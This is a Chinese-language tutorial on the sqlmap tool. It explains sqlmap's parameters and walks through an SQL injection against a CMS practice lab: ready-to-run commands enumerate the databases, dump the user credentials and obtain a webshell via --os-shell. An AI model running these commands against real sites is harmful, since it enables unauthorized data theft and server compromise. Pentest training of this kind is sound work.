SqlMap
SqlMap参数
- 参数及意义
-u 检测注入点(url) --batch 所有选项默认 --dbs 列出所有数据库名 --current-user 当前连接数据库用户的名字 --current-db 当前数据库的名字 -D 数据库名 指定目标数据库为"数据库名" --tables 列出数据库所有的表名 -T 表名 指定目标表名为"表名" --columns 列出所有的字段名 -C 字段名1,字段名2 指定目标字段 --dump 列出字段内容 -r 从文件中读取HTTP请求 --os-shell 在特定情况下(下面讲解),可以直接获取目标系统的Shell --level 3 等级1~5,Sqlmap的测试深度,level等级越高检测越详细,但会在数据库内插入大量脏数据 --risk 等级1~3,Sqlmap语句的复杂度,等级越高语句会测的越复杂,有些地方可能对正常的语句不生效,需要有特殊的语句才能触发的时候才有用,等级越高,就越容易测出漏洞
SqlMap的注意项
-
参数 -u 参数 -r的区别
- 参数-u后跟待测试的url,参数-r后跟的时访问的请求头
- 使用-u会有明显的数据特征
-
使用 level等级过高会对目标数据库造成很多脏数据
-
参数–os-shell的使用条件很苛刻
- 必须要知道绝对路径
- 要有读写权限
- mysql.ini中要有
secure-file-priv=
CMS文件管理系统的自动化注入
-
打开Kali,登录靶场
-
找到注入点
-
打开代理和BurpSuite进行抓包
-
再访问一遍,找BurpSuite抓到的请求头
-
将请求头保存到head.txt中
注:尽量用vim,不要用kali自带的编辑器,容易导致格式错误
-
跑SqlMap获取数据库
sqlmap -r head.txt -p 'id' --risk=3 --level=1 --batch --proxy http://127.0.0.1:8080 --dbs
注:参数会在补充中同一讲解
我们可以从下图看到,其实sqlmap也是进行了各种测试手法,和手动测试大同小异,只是自动化去做了
-
获取表名
sqlmap -r head.txt -p 'id' --risk=3 --level=1 --batch --proxy http://127.0.0.1:8080 -D cms --tables
-
获取字段名
qlmap -r head.txt -p 'id' --risk=3 --level=1 --batch --proxy http://127.0.0.1:8080 -D cms -T cms_users --columns
-
脱库跑路
sqlmap -r head.txt -p 'id' --risk=3 --level=1 --batch --proxy http://127.0.0.1:8080 -D cms -T cms_users -C password,username --dump
,可以看到sqlmap很贴心的把MD5给解密了出来
-
获得webshell
sqlmap -r head.txt -p 'id' --risk=3 --level=1 --proxy http://127.0.0.1:8080 --os-shell
-
可以看到,SqlMap在我的文件路径下增加了两个木马文件